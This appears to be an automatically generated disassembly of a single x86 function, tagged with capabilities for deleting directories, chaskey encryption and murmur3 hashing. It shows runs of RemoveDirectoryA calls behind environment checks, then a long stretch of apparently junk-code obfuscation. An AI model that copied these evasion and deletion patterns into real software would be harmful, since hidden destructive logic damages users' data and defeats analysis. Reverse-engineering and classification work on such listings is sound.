Function at 0x401000
Capabilities:
Delete directory
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
call sub.kernel32.dll_GetCurrentThread
cmp eax, 0xffffff12
jne 0x40107a
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
ret
call sub.kernel32.dll_GetCurrentThread
cmp eax, 0xfffffefa
jne 0x401121
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
ret
call sub.kernel32.dll_GetCurrentThread
cmp eax, 0xffffff22
jne 0x4011a0
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
ret
call sub.user32.dll_GetOpenClipboardWindow
cmp eax, 0xffffff2f
jne 0x401206
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
ret
jmp 0x47538a
sub ecx, 0x3c9a6bf7
sub edi, ecx
mov edi, esi
dec ecx
sub ecx, esi
shr esi, 0x1e
jmp 0x476bcb
push 0x3cabf9b5
xor edx, esi
xor ebx, ecx
mov ecx, esi
ror edx, 8
and ebx, ecx
ror esi, 0x1e
ror ecx, 0xe
and ebx, 0x3ed8df09
xor ebx, edx
xchg ecx, esi
rol ecx, 0xd
sub edx, ecx
xor ebx, ecx
xchg ebx, esi
or ebx, edx
inc esi
jmp 0x47701a
push 0x3ccec235
add ebx, esi
shr esi, 0xa
and ebx, ecx
and esi, edx
xchg ebx, esi
shl ecx, 0x10
and edx, ecx
xor esi, 0x3ede1a7e
not ebx
neg esi
xor esi, edx
or ecx, esi
jmp 0x475432
push 0x3ccf1252
add esi, edx
mov ecx, 0x3edf753b
xor ebx, esi
neg esi
xchg esi, edx
or edx, esi
not edx
add esi, edx
add ecx, esi
jmp 0x476c43
call edi
ror edx, 0x10
xor ebx, 0x3ee16857
mov edx, ecx
add esi, ebx
jmp 0x476284
pop edi
mov ebx, ecx
xchg edx, esi
or esi, ecx
mov esi, ecx
mov ecx, esi
shl ecx, 8
xor esi, edx
neg edx
xchg esi, ebx
xchg ecx, esi
xor edx, ebx
mov edx, esi
jmp 0x475503
push 0x3cb56395
or edx, ebx
and ecx, esi
or esi, edx
or esi, 0x3eebb6fe
rol ebx, 0x15
xor ecx, ebx
jmp 0x4774ee
push 0x3cc19828
mov ecx, ebx
mov edx, 0x3eec9b3d
mov edx, ebx
or edx, ecx
or ecx, edx
jmp 0x4776d1
pop edi
xchg ebx, edx
rol esi, 9
jmp 0x476729
call edi
and edx, ecx
shl esi, 4
mov ebx, esi
and ecx, edx
mov esi, ebx
add ecx, 0x3ef4b0f5
xchg edx, esi
and edx, ebx
sub ecx, ebx
xchg edx, ecx
jmp 0x476849
mov edi, 0x4132136a
ror esi, 0x18
add ecx, esi
or ecx, esi
sub edx, ecx
add ecx, edx
ror ebx, 0x1e
xor ebx, esi
neg esi
xor esi, 0x3f00287d
shr ecx, 0x1e
bswap esi
ror ebx, 0xc
jmp 0x475c08
call edi
sub esi, ebx
mov ecx, 0x3f03953f
and edx, esi
sub edx, esi
xchg ecx, edx
and esi, 0x3f04657b
neg ebx
or edx, ebx
sub esi, edx
rol ebx, 5
jmp 0x4777e1
push esp
ror ebx, 0xa
bswap ecx
rol esi, 0x11
sub ebx, ecx
xchg edx, ecx
xchg edx, esi
or ecx, edx
shl ecx, 9
dec ebx
jmp 0x477924
push 0x401400
add ebx, edx
xchg ebx, edx
xchg edx, ecx
shl ecx, 0xd
rol ebx, 9
mov edx, esi
xor esi, ecx
xchg ebx, ecx
and ebx, 0x3f0b8673
or edx, ebx
dec ebx
and ecx, esi
ror ecx, 0x10
jmp 0x4766c1
push 0x3cc54ce5
xor ebx, ecx
xor ecx, ebx
xchg ecx, edx
and edx, ecx
ror esi, 2
or edx, ecx
xor esi, edx
and ecx, 0x3f123d07
jmp 0x476330
pop edi
add ebx, ecx
xor esi, 0x3f12b8a8
ror ecx, 0x1e
xor esi, ebx
mov ecx, esi
mov ecx, 0x3f13877f
neg ebx
or edx, esi
shl ebx, 0xb
sub esi, ebx
shl edx, 0x17
sub ebx, edx
add ebx, esi
add ebx, ecx
jmp 0x477074
call fcn.00475e64
shr edx, 0x1c
xor esi, ecx
nop
xor ebx, esi
mov esi, edx
and ecx, esi
sub ecx, edx
or esi, ecx
xor esi, ebx
inc ebx
sub edx, esi
add edx, ecx
jmp 0x475451
pop edi
xchg ecx, edx
xchg edx, esi
inc ebx
mov edx, ecx
xchg ecx, edx
or edx, 0x3f215440
or edx, 0x3f218b5b
xor ecx, esi
or ecx, 0x3f21fc64
sub ebx, 0x3f223333
mov ebx, edx
jmp 0x475c56
push 0x3cce6820
mov ebx, edx
add ecx, ebx
mov edx, 0x3f310c2f
mov edx, esi
shr ecx, 0x11
sub ebx, 0x3f31a98b
add edx, ecx
xor esi, 0x3f320f2a
jmp 0x47540a
pop edi
and esi, edx
neg ebx
mov ecx, edx
shl esi, 6
add ecx, esi
and esi, edx
and edx, esi
add edx, ebx
add ecx, ebx
sub esi, edx
shl ecx, 0x1d
not ecx
and esi, edx
jmp 0x4771f7
pop edi
and ebx, 0x3f53ea1f
inc ecx
mov ebx, edx
bswap ebx
not edx
jmp 0x476da5
push 0x3cb9ba4f
sub ebx, 0x3f56d0b2
or esi, ebx
inc edx
add edx, 0x3f576fb1
add edx, ecx
dec edx
sub ecx, edx
jmp 0x47601b
call fcn.00475e64
or esi, edx
dec edx
bswap edx
sub ebx, esi
mov edx, 0x3f593840
mov ecx, 0x3f596c53
mov ecx, edx
add edx, esi
mov ebx, esi
jmp 0x477ba8
pop edi
add edx, ecx
and edx, ecx
add esi, 0x3f5fcf40
mov edx, 0x3f60029b
sub esi, ecx
not ebx
neg ecx
or ebx, esi
sub edx, ecx
jmp 0x4762a1
push 0x3caf5127
xor ebx, edx
mov esi, 0x3f6452f8
rol edx, 0xf
jmp 0x476225
pop edi
ror edx, 0x1a
add esi, ebx
shl esi, 0x18
bswap esi
ror esi, 9
add ebx, edx
or ebx, esi
or esi, 0x3f689e59
xchg ebx, ecx
jmp 0x4757b3
pop edi
sub edx, ebx
shr edx, 0x18
xchg edx, ecx
or ecx, edx
shr ecx, 8
neg ecx
mov esi, 0x3f6c8a61
dec ecx
rol edx, 0x1b
xor ebx, edx
jmp 0x475d12
call fcn.00475e64
not ecx
mov ebx, ecx
xor ebx, esi
jmp 0x477150
call fcn.00475e64
inc esi
xor ecx, 0x3f714a38
and edx, ebx
mov esi, edx
inc edx
neg edx
add ebx, ecx
xchg edx, esi
xor ecx, edx
jmp 0x47564c
pop edi
xor ebx, 0x3f730fcc
neg edx
shr ebx, 0xe
and edx, ebx
neg edx
and ebx, 0x3f741ec2
jmp 0x475b04
pop edi
dec ecx
or ebx, edx
xchg ecx, edx
mov esi, 0x3f7671c3
neg edx
shl ebx, 8
shl ebx, 0xe
xor ebx, esi
jmp 0x477107
push 0x3cbef52f
rol ebx, 0xf
xor edx, esi
xchg ecx, edx
add ebx, edx
ror edx, 0x13
xor edx, ebx
shl edx, 0x1e
not esi
inc edx
shr esi, 5
and ebx, ecx
jmp 0x47728e
call edi
or edx, ebx
or ecx, 0x3f99dc1d
not esi
xor ecx, edx
sub esi, ecx
xor ebx, 0x3f9abb6f
or ebx, esi
add ecx, ebx
jmp 0x4761f8
push 0x3cce1707
and edx, ecx
or esi, edx
and ebx, edx
xor ecx, esi
or edx, ebx
or edx, esi
add esi, edx
sub ecx, edx
jmp 0x4758c2
call edi
neg ecx
mov ecx, ebx
xchg edx, ecx
and esi, edx
or ecx, edx
not ecx
xor edx, ebx
jmp 0x476d4a
pop edi
mov esi, ebx
bswap ebx
rol edx, 0x10
sub ecx, ebx
not esi
neg ebx
and esi, ebx
ror esi, 0xf
add ecx, 0x3fb2d512
inc edx
or esi, ecx
jmp 0x477b51
push 0x40
and edx, ebx
xchg esi, ebx
xchg esi, ecx
or ebx, ecx
not ecx
xchg edx, esi
shr ecx, 0x14
and ecx, edx
rol edx, 2
jmp 0x476af3
push 0x3cc2405c
mov ecx, edx
sub ecx, esi
add ebx, edx
sub edx, ecx
xchg edx, ecx
mov ebx, esi
or ecx, esi
add esi, 0x3fbb87a8
and ebx, 0x3fbbbb0d
sub ecx, 0x3fbbeebc
and esi, ebx
add esi, edx
jmp 0x4772c6
push 0x3cac8fea
xor ecx, edx
or edx, ebx
shr ecx, 0x1d
add edx, 0x3fbd365c
shr edx, 5
dec edx
add edx, ecx
xor ecx, esi
dec edx
bswap edx
bswap edx
xor edx, 0x3fbee971
jmp 0x4772a4
mov edi, 0x2774562b
mov esi, ecx
xor edx, 0x3fc51cf2
or edx, esi
xor edx, 0x3fc58449
shr edx, 4
bswap ebx
add ecx, edx
or edx, ecx
jmp 0x477494
push 0x3cc5f7c7
mov esi, 0x3fcad475
bswap ebx
xor ecx, edx
jmp 0x476c80
mov edi, 0x123b2f04
mov ecx, edx
or esi, 0x3fdd2e40
bswap ecx
sub esi, edx
xchg edx, ebx
sub ecx, esi
and edx, esi
jmp 0x476f73
pop edi
sub esi, ecx
sub edx, esi
nop
dec ebx
mov ebx, ecx
neg ebx
dec esi
mov ecx, edx
xchg edx, esi
rol ecx, 2
jmp 0x47758c
push 0x3caf9efa
inc edx
shr esi, 0x1d
not edx
or esi, ebx
sub edx, 0x3fe52bdb
not esi
and esi, ecx
xor esi, ebx
shl ecx, 0x18
shr esi, 3
jmp 0x47705e
pop edi
bswap ecx
or esi, ebx
xchg esi, ecx
add edx, 0x3fe922b2
xor ecx, esi
add ebx, ecx
and ecx, ebx
mov ecx, ebx
or ebx, ecx
jmp 0x475c26
pop edi
xor edx, esi
nop
mov esi, ebx
xchg esi, edx
xor edx, esi
or ebx, ecx
bswap edx
mov esi, ebx
xor esi, ebx
sub edx, ecx
sub ebx, esi
xchg edx, ecx
jmp 0x475ecc
push 0x3cc8a71e
rol edx, 0xd
mov ebx, ecx
mov ecx, 0x3fed6b77
jmp 0x476ea9
push 0x3cc5a03d
mov ebx, ecx
not esi
mov esi, edx
and esi, edx
add edx, esi
ror edx, 1
inc ebx
and ebx, esi
xor ebx, esi
xchg ebx, ecx
jmp 0x476080
pop edi
and ecx, ebx
xor edx, ebx
add edx, esi
sub edx, ebx
xor edx, ecx
xchg ecx, esi
xchg esi, ebx
sub esi, 0x40071239
rol esi, 0x18
xchg edx, ebx
jmp 0x476799
call edi
xchg edx, ecx
mov edx, ebx
rol esi, 1
shr ebx, 0xa
sub edx, ecx
mov ebx, ecx
jmp 0x4770fd
call fcn.00475e64
or ecx, 0x400a49a3
add edx, esi
jmp 0x476cda
push 0x3ca9d789
sub esi, edx
mov edx, ebx
xor ecx, edx
xchg edx, esi
and edx, ebx
sub ecx, ebx
mov ecx, edx
sub edx, 0x400c3ae4
or esi, edx
xchg esi, edx
jmp 0x477a13
push 0x3caefee7
shr esi, 0xe
mov ecx, esi
xchg esi, ebx
add ecx, edx
sub ecx, 0x400db858
xor edx, ebx
add ebx, esi
add edx, ebx
add edx, esi
shl ebx, 0x17
xor ebx, 0x400ef5a0
xor esi, ebx
jmp 0x475b48
call fcn.00475e64
and esi, 0x400f731c
add esi, ecx
or ecx, edx
inc ebx
bswap esi
xor edx, 0x4010804a
add esi, ecx
and ebx, ecx
xor ebx, edx
sub esi, edx
jmp 0x475608
push 0x3ca98262
xchg esi, ebx
or esi, edx
and edx, esi
rol edx, 0xd
or ebx, ecx
and ebx, ecx
dec ecx
and ebx, 0x401c7e6c
jmp 0x476461
call edi
or esi, ecx
xor ebx, ecx
or esi, ecx
add ecx, esi
dec esi
mov edx, ecx
and esi, ebx
or ebx, ecx
mov ebx, esi
jmp 0x475bc4
pop edi
sub esi, ebx
add ecx, 0x4049f106
and ecx, ebx
rol edx, 0x19
or ebx, ecx
jmp 0x4754d1
call edi
shr edx, 0x18
xor ebx, edx
xor ecx, edx
dec ecx
shr ecx, 4
shl ebx, 0xd
add edx, ebx
and edx, esi
mov edx, ecx
jmp 0x476b38
mov edi, 0x123b2f04
or edx, ebx
neg ebx
or esi, ebx
mov edx, ebx
inc edx
shr ecx, 3
or edx, ebx
not edx
nop
xchg esi, edx
xor edx, 0x404ef376
mov ecx, ebx
jmp 0x477818
push 0x3cc1442c
neg ebx
xchg ecx, ebx
and edx, ecx
or ebx, edx
and esi, 0x405238c6
add esi, 0x40526c6f
bswap esi
xor ecx, ebx
shr ebx, 0x16
and edx, 0x40534d56
and ebx, edx
inc edx
jmp 0x4754ec
push 0x3cc4f930
or esi, ebx
or esi, ebx
xor esi, 0x40555354
inc ebx
xor ebx, 0x4055c151
or esi, ebx
or esi, edx
add ecx, ebx
sub edx, 0x40575b64
jmp 0x4756e0
pop edi
or ebx, edx
or esi, ebx
inc edx
ror edx, 0x1c
mov ecx, ebx
xor esi, edx
add ebx, ecx
bswap ebx
sub edx, ebx
sub ebx, 0x405b6004
xor ecx, edx
add ecx, edx
mov esi, 0x405cb8bb
and ebx, edx
sub esi, 0x405d800c
shr ebx, 0x1c
jmp 0x4755c6
pop edi
mov edx, 0x405e6cb3
inc edx
ror esi, 0x1c
or esi, ecx
dec esi
and ecx, ebx
or edx, 0x4060d022
jmp 0x475986
pop edi
or ecx, ebx
sub esi, edx
jmp 0x475b82
push 0x3ccb83ab
xor ebx, esi
sub ecx, 0x40784d8a
add ecx, edx
and edx, esi
xor ebx, esi
xor ebx, 0x40791670
add ecx, edx
neg edx
or esi, 0x4079bc19
shl esi, 0x1d
xchg ebx, esi
mov esi, ecx
jmp 0x476a6d
pop edi
or edx, ebx
or ecx, edx
ror ebx, 0x14
or ebx, esi
xor edx, ecx
or ebx, 0x407fe744
and ecx, 0x40801ae9
inc ebx
jmp 0x476c21
mov edi, 0x2774562b
and ebx, 0x4080a0b8
add ebx, esi
mov ecx, ebx
rol edx, 0xe
add edx, esi
shl edx, 0x19
neg edx
or edx, 0x40821485
xor ebx, edx
mov edx, ebx
inc ebx
xor edx, 0x4082e58e
sub esi, 0x408318e6
jmp 0x4778bc
mov edi, 0x2774562b
xor ebx, ecx
add ecx, esi
or ecx, 0x4083cbf5
xor esi, 0x4084012f
not esi
xor edx, esi
sub edx, esi
or ebx, 0x4084dd52
neg ecx
and ecx, ebx
xor edx, 0x408578ae
and esi, ecx
jmp 0x475a93
push 0x73f8a
or ebx, ecx
xchg ebx, edx
or esi, ebx
inc esi
or ebx, esi
xchg esi, edx
add ecx, esi
xchg ebx, edx
jmp 0x475666
pop edi
or ebx, esi
nop
mov esi, 0x408d9645
dec ecx
add edx, ecx
and edx, ebx
add ebx, edx
bswap edx
mov ecx, edx
and ebx, edx
xor esi, edx
jmp 0x47682f
push 0x3ca580bf
bswap esi
or ebx, ecx
neg edx
xor ebx, 0x40972ee4
and ebx, ecx
mov edx, ebx
sub ebx, 0x4097c79e
jmp 0x4777b7
pop edi
xchg ebx, edx
sub ebx, ecx
add edx, 0x409976ce
neg esi
mov ebx, edx
neg ebx
mov esi, ecx
xor ecx, ebx
and ecx, esi
mov ecx, edx
or ebx, ecx
jmp 0x4767d6
pop edi
mov esi, ebx
and ecx, esi
mov ecx, 0x409bea0a
sub esi, 0x409c2166
or ecx, esi
ror esi, 0xb
or edx, esi
xchg esi, ecx
mov ebx, esi
and edx, ebx
jmp 0x4754b2
push 0x3ccf603d
inc ecx
sub edx, esi
or esi, ebx
or ebx, esi
bswap edx
sub ebx, esi
bswap edx
xchg ecx, edx
sub esi, edx
jmp 0x476759
mov edi, 0x2774562b
and esi, edx
sub ecx, ebx
xor esi, edx
jmp 0x47644f
call edi
dec edx
shr edx, 0x1c
xor esi, ecx
add edx, ebx
add ecx, 0x40a6cec0
or ebx, 0x40a70247
xor edx, 0x40a739c5
xor esi, edx
inc edx
mov esi, 0x40a7e094
shl ecx, 0x1c
rol ebx, 0xc
mov esi, 0x40a881c6
or esi, ecx
jmp 0x477c43
call fcn.00475e64
dec ecx
and ecx, ebx
add edx, ecx
xor ecx, edx
neg ebx
xchg esi, edx
neg edx
add ebx, esi
xor edx, ecx
jmp 0x477b92
pop edi
xor esi, edx
or ecx, ebx
bswap ebx
shl edx, 0x17
add ebx, ecx
shl ecx, 0x14
xor esi, edx
or edx, esi
and ebx, edx
shr esi, 0xb
and edx, ecx
mov edx, 0x40aefa8c
jmp 0x476409
pop edi
ror ecx, 9
and ecx, esi
or ecx, ebx
and ebx, edx
rol ebx, 9
xor esi, ecx
mov edx, ebx
add ecx, esi
neg ecx
sub ebx, esi
neg ecx
jmp 0x477440
mov edi, 0x2774562b
add edx, 0x40b868d7
sub edx, esi
and ebx, esi
add edx, ecx
xor ebx, esi
jmp 0x477139
push 0x3caeac79
rol edx, 0xf
dec ecx
sub edx, 0x40bf82ec
add ecx, ebx
add ebx, edx
not ebx
neg esi
xchg ebx, ecx
jmp 0x476483
push 0x3cc8f97b
dec edx
sub ecx, esi
mov ebx, ecx
sub ebx, esi
xor esi, ecx
inc edx
not ecx
xchg edx, esi
jmp 0x47725f
call fcn.00475e64
add edx, ebx
or edx, ebx
mov esi, ecx
add edx, ebx
or esi, ebx
jmp 0x47673e
push 0x3cac4459
bswap ebx
inc esi
sub edx, 0x40dd99d1
add ebx, 0x40ddcd3e
and ecx, esi
shr esi, 0x1b
bswap ecx
or ecx, edx
sub ecx, edx
xor edx, ebx
xor edx, ebx
jmp 0x475f90
push 0x3cafed5e
neg ebx
or edx, ebx
xchg ecx, edx
sub ecx, edx
not esi
or ebx, edx
jmp 0x476aa2
pop edi
xor ebx, edx
neg ecx
add edx, ecx
xchg ecx, ebx
xor ebx, esi
ror edx, 0x17
and ecx, 0x40e46075
dec edx
mov ebx, ecx
add ecx, ebx
jmp 0x476c01
pop edi
or ecx, ebx
add esi, edx
jmp 0x4776ad
push 0x3ca93975
xor esi, ebx
nop
add ecx, edx
dec ecx
shl esi, 0x15
and edx, ecx
add esi, ebx
xor edx, 0x40f02615
jmp 0x47651d
call fcn.00475e64
mov ecx, ebx
shr ebx, 0x13
neg ebx
or ecx, ebx
mov ecx, ebx
bswap esi
jmp 0x47556a
call edi
or ebx, esi
or esi, edx
or esi, ebx
mov ebx, 0x40f69843
shr edx, 0xe
bswap ebx
jmp 0x475a43
pop edi
or ecx, ebx
mov ebx, 0x4102c1b3
add edx, esi
add esi, ecx
sub esi, ecx
or edx, ebx
xor esi, ecx
neg ecx
add esi, ecx
shl ecx, 1
sub esi, edx
jmp 0x477632
mov edi, 0x2774562b
mov ebx, esi
sub ebx, 0x410be81d
add ebx, ecx
inc ebx
nop
dec esi
and esi, edx
or ecx, edx
or edx, esi
xor edx, 0x410f5a20
add ecx, 0x410fbd0a
neg esi
mov ebx, ecx
or ebx, ecx
jmp 0x475792
push 0x3cbf492f
or esi, ecx
xor ecx, esi
add esi, edx
or esi, 0x4112b531
jmp 0x4778f3
mov edi, 0x2774562b
and ebx, esi
and ebx, esi
or ecx, 0x4113f792
and ecx, edx
and ebx, 0x4116748e
mov ecx, edx
or ecx, ebx
xchg ebx, ecx
jmp 0x4764af
mov edi, 0x123b2f04
xchg edx, esi
rol edx, 0xd
or esi, ebx
dec edx
add ebx, ecx
xchg esi, ecx
neg ebx
sub esi, 0x411b0e59
jmp 0x476d10
pop edi
add edx, ebx
mov ecx, esi
xchg ecx, ebx
jmp 0x477a71
push 0x3cb96ddc
sub ecx, esi
and edx, 0x412a89a7
add esi, edx
sub edx, esi
not esi
or esi, 0x412b6365
jmp 0x475a75
pop edi
sub esi, 0x412de321
bswap ecx
inc edx
shl ebx, 0x1b
not edx
and edx, ecx
jmp 0x475e04
call fcn.00475e64
ror esi, 0xc
sub ecx, 0x412faceb
and ebx, edx
add ecx, ebx
not edx
and esi, ecx
jmp 0x475eb7
pop edi
mov ecx, edx
inc edx
sub ecx, ebx
mov esi, edx
mov ebx, ecx
xor ecx, edx
not ebx
mov esi, ebx
jmp 0x4753ab
call fcn.00475e64
bswap ecx
xor esi, ecx
xor edx, ecx
neg ecx
jmp 0x475d35
push 0x3cb5ac82
xchg ecx, edx
not edx
shr ebx, 0x15
or ebx, ecx
shr esi, 0xf
xchg edx, ecx
and esi, 0x413dadec
inc esi
ror edx, 4
mov esi, ecx
xchg ebx, esi
sub ebx, 0x413eba14
add esi, 0x413ef1c2
and ecx, esi
jmp 0x4779bf
push 0x3ccb3585
inc ebx
xor edx, 0x4143a919
dec edx
jmp 0x4769e6
pop edi
dec ecx
mov ebx, ecx
add ecx, ebx
rol esi, 5
sub edx, ecx
xor esi, edx
or ebx, edx
neg edx
xchg ecx, ebx
jmp 0x4767fd
push 0x3cb91658
sub ebx, edx
xor ebx, edx
sub edx, 0x415145a9
and esi, ebx
or esi, ebx
or ecx, edx
or ecx, edx
mov edx, 0x41526b06
xchg edx, esi
bswap ecx
xchg esi, ecx
and esi, edx
xchg ebx, ecx
xchg ecx, esi
add ebx, edx
not esi
jmp 0x4773ad
push 0x3cb64a69
xor edx, ebx
sub esi, 0x4156e0fa
xor ecx, 0x415720e3
bswap ebx
inc ebx
xchg esi, ecx
xchg ecx, ebx
xchg ecx, edx
mov esi, ecx
xor esi, ecx
jmp 0x4761b0
pop edi
xchg esi, edx
and ebx, edx
or edx, 0x41593e6d
mov ebx, ecx
add ecx, edx
mov ebx, esi
add edx, ecx
sub ebx, 0x415a432b
sub ebx, esi
add ecx, edx
xor ebx, edx
jmp 0x4773f2
push 0x3cc1eb9e
xchg esi, ecx
neg edx
xor ecx, ebx
xchg ecx, esi
xchg ecx, esi
and ecx, ebx
sub ebx, esi
and esi, edx
jmp 0x475f62
push 0x3ca5dd60
sub ebx, 0x41687b4a
not ebx
add ecx, 0x4168e476
shl ebx, 8
add esi, ebx
and esi, ebx
sub ebx, edx
or ecx, esi
dec ebx
sub ecx, 0x416a5884
jmp 0x477bda
pop edi
add edx, esi
or ecx, esi
xchg edx, ebx
jmp 0x477311
call fcn.00475e64
and esi, ecx
xchg edx, ebx
and esi, 0x416db245
mov esi, ecx
jmp loc.0047738c
call fcn.00475e64
xchg ecx, edx
not esi
and ebx, 0x4177e7ed
or esi, 0x41781b1c
and ecx, esi
xor esi, 0x41788dbf
and edx, 0x4178c11f
shl ebx, 0x15
add edx, 0x41792b34
xor ebx, 0x41795e98
jmp 0x47643a
mov edi, 0x2774562b
shl esi, 0x12
and esi, ebx
add ecx, 0x417a1368
or esi, edx
and esi, ecx
mov esi, ebx
dec ecx
or esi, ecx
rol ebx, 7
shr ebx, 1
and edx, esi
or edx, ebx
add esi, edx
shl edx, 0x11
bswap ecx
or edx, ebx
jmp 0x477408
push esp
bswap ecx
xchg ebx, ecx
xchg ecx, edx
dec ecx
and edx, ecx
or edx, 0x417e151d
xchg edx, ebx
jmp 0x475f24
pop edi
sub edx, ebx
sub edx, ebx
xchg ecx, esi
xchg esi, ebx
rol ecx, 5
jmp 0x4756ff
push 0x3ca67511
rol ecx, 4
xchg edx, ecx
inc ebx
xchg esi, edx
sub ecx, edx
jmp 0x476e04
push 0x3cb5fbeb
xor esi, edx
mov ecx, 0x41860d67
or ecx, ebx
rol ecx, 0x18
xchg ebx, esi
add ecx, 0x4186e88d
or edx, esi
jmp 0x477688
mov edi, 0x2774562b
xchg ebx, edx
inc edx
sub ecx, ebx
add ecx, edx
xor ebx, ecx
or ebx, ecx
ror ebx, 0x10
mov esi, edx
and esi, ecx
sub ecx, edx
neg edx
bswap esi
and ecx, edx
jmp 0x475bf8
pop edi
or ebx, edx
xchg ecx, esi
not esi
or edx, ebx
bswap ebx
inc ebx
sub ecx, ebx
xor esi, edx
jmp 0x476e8b
push 0x3ccada8f
dec ecx
xor ecx, ebx
ror ebx, 0x17
or ebx, 0x41b91c9c
sub ecx, ebx
sub ecx, edx
xor ecx, edx
inc ecx
xor edx, ecx
or ebx, 0x41bd3d3e
jmp 0x47755b
call edi
ror esi, 0x1f
sub ecx, esi
dec edx
sub esi, ecx
shr ecx, 6
xchg esi, ecx
add ecx, ebx
jmp 0x47798f
call edi
and esi, 0x41c4b4e5
add edx, 0x41c52ed1
xor edx, esi
or ecx, ebx
not ebx
neg esi
inc esi
sub ecx, ebx
sub edx, ecx
or ecx, 0x41c8b8fc
and ebx, edx
mov ebx, esi
bswap ecx
or esi, 0x41cb7bfc
jmp 0x476a4f
push 0x3ca62b5f
xor ecx, edx
mov ecx, esi
ror edx, 0x12
shr esi, 0x10
sub ecx, 0x41cdaba5
sub ebx, esi
xor ebx, ecx
mov esi, ecx
and esi, ecx
xor ecx, esi
jmp 0x4779ab
pop edi
and edx, 0x41dbb47f
xor edx, esi
ror edx, 0x1d
sub ebx, ecx
xor esi, 0x41dd8042
neg ebx
sub esi, 0x41de91f7
sub esi, edx
not ebx
and edx, ecx
sub ecx, ebx
add edx, esi
xor esi, ebx
xchg ecx, ebx
jmp 0x476268